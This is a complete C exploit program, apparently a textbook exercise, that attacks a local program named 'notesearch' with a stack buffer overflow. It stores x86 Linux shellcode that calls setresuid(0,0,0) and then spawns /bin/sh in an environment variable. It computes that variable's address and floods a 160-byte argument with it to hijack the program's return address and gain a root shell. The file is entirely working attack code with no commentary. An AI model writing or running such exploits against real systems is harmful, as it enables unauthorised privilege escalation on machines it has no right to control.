#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
	char *env[2] = {shellcode, 0};
	unsigned int i, ret;

	char *buffer = (char *) malloc(160);

	ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
	for(i=0; i < 160; i+=4)
		*((unsigned int *)(buffer+i)) = ret;
	
	execle("./notesearch", "notesearch", buffer, 0, env);
	free(buffer);
}

